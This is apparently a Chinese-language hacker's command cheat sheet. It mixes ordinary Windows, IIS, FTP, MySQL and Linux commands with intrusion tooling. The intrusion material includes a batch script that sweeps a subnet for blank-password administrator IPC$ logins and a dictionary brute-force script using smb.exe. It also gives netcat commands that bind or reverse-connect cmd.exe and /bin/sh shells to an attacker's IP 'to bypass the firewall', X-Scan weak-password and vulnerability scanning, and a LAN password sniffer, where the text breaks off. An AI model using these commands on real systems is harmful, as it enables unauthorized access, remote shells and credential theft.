pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:「:start」標簽)
call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )

#3 三:

ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑\可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)--針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況

#4 四:

IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件
ascii 設定以ASCII方式傳送文件(預設值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cp 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件許可權
case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cp 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip

#5 五:

MYSQL 命令:
mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqlmp --opt school>school.bbb 備份資料庫:(命令在DOS的\\mysql\\bin目錄下執行);注釋:將資料庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本地或遠程主機。
參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,范圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程載入的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。

#6 六:

Linux系統下基本命令: 要區分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 文件名 查看文件內容
cat >abc.txt 往abc.txt文件中寫上內容。
more 文件名 以一頁一頁的方式顯示一個文本文件。
cp 復制文件
mv 移動文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字元串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的文件
su 許可權轉換為指定使用者
telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。
ftp ftp連接上某伺服器(同win2K)

附:批處理命令與變數

1:for命令及變數 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而調用變數時用:%i% ,變數是區分大小寫的(%i 不等於 %I)。
批處理每次能處理的變數從%0-%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2-%9指輸入的第2-9個值;例:net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3

(set):指定一個或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ 「(1 1 254)」第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;「(1 -1 254)」說明:即從254到1 }

command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開
command_parameters:為特定命令指定參數或命令行開關

IN (set):指在(set)中取值;DO command :指執行command

參數:/L 指用增量形式{ (set)為增量形式時 };/F 指從文件中不斷取值,直到取完為止{ (set)為文件時,如(d:\pass.txt)時 }。
用法舉例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。

/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變數(ip的最後一位);& 用來隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存為:ok.exe 說明:輸入一個IP後,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。

#7 七:

2:if命令及變數 基本格式:
IF [not] errorlevel 數字 命令語句 如果程序運行最後返回一個等於或大於指定數字的退出編碼,指定條件為「真」。
例:IF errorlevel 0 命令 指程序執行後返回的值為0時,就值行後面的命令;IF not errorlevel 1 命令指程序執行最後返回的值不等於1,就執行後面的命令。
0 指發現並成功執行(真);1 指沒有發現、沒執行(假)。
IF [not] 字元串1==字元串2 命令語句 如果指定的文本字元串匹配(即:字元串1 等於 字元串2),就執行後面的命令。
例:「if "%2%"=="4" goto start」指:如果輸入的第二個變數為4時,執行後面的命令(注意:調用變數時就%變數名%並加" ")
IF [not] exist 文件名 命令語句 如果指定的文件名存在,就執行後面的命令。
例:「if not nc.exe goto end」指:如果沒有發現nc.exe文件就跳到":end"標簽處。
IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字元串1==字元串2 命令語句 else 命令語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上:else 命令語句後指:當前面的條件不成立時,就指行else後面的命令。注意:else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來,因為del命令要單獨一行時才能執行,用上< >後就等於是單獨一行了;例如:「if exist test.txt. <del test.txt.> else echo test.txt.missing 」,注意命令中的「.」

(二)系統外部命令(均需下載相關工具):

1、瑞士軍刀:nc.exe

參數說明:
-h 查看幫助信息
-d 後台模式
-e prog程序重定向,一但連接就執行〔危險〕
-i secs延時的間隔
-l 監聽模式,用於入站連接
-L 監聽模式,連接天閉後仍然繼續監聽,直到CTR+C
-n IP地址,不能用域名
-o film記錄16進制的傳輸
-p[空格]埠 本地埠號
-r 隨機本地及遠程埠
-t 使用Telnet交互方式
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入,輸出關掉(用於掃錨時)
基本用法:
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠
nc -l -p 80 開啟本機的TCP 80埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向連接192.168.0.2的5354埠
高級用法:
nc -L -p 80 作為蜜罐用1:開啟並不停地監聽80埠,直到CTR+C為止
nc -L -p 80 > c:\log.txt 作為蜜罐用2:開啟並不停地監聽80埠,直到CTR+C,同時把結果輸出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1:開啟並不停地監聽80埠,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2:開啟並不停地監聽80埠,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
本機上用:nc -l -p 本機埠
在對方主機上用:nc -e cmd.exe 本機IP -p 本機埠 *win2K
nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆
本機上用:nc -d -l -p 本機埠 < 要傳送的文件路徑及名稱
在對方主機上用:nc -vv 本機IP 本機埠 > 存放文件的路徑及名稱 傳送文件到對方主機
備 註:
| 管道命令
< 或 > 重定向命令。「<」,例如:tlntadmn < test.txt 指把test.txt的內容賦值給tlntadmn命令
@ 表示執行@後面的命令,但不會顯示出來(後台執行);例:@dir c:\winnt >> d:\log.txt 意思是:後台執行dir,並把結果存在d:\log.txt中
>與>>的區別 ">"指:覆蓋;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個命令分別執行二次比較看:用>>的則是把二次的結果都保存了,而用:>則只有一次的結果,是因為第二次的結果把第一次的覆蓋了。

#8 八:

2、掃錨工具:xscan.exe

基本格式
xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止IP"段的所有主機信息
xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件名"中的所有主機信息
檢測項目
-active 檢測主機是否存活
-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其它選項
-i 適配器編號 設置網路適配器, <適配器編號>可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有響應的主機
-o 跳過沒有檢測到開放埠的主機
-t 並發線程數量,並發主機數量 指定最大並發線程數量和並發主機數量, 默認數量為100,10
-log 文件名 指定掃描報告文件名 (後綴為:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主機的標准埠狀態,NT弱口令用戶,最大並發線程數量為150,跳過沒有檢測到開放埠的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測「hostlist.txt」文件中列出的所有主機的標准埠狀態,CGI漏洞,最大並發線程數量為200,同一時刻最多檢測5台主機,顯示詳細檢測進度,跳過沒有檢測到開放埠的主機

#9 九:

3、命令行方式嗅探器: xsniff.exe
可捕獲區域網內FTP/SMTP/POP3/HTTP協議密碼
參數說明
-tcp 輸出TCP數據報
-udp 輸出UDP數據報
-icmp 輸出ICMP數據報
-pass 過濾密碼信息
-hide 後台運行
-host 解析主機名
-addr IP地址 過濾IP地址
-port 埠 過濾埠
-log 文件名 將輸出保存到文件
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.exe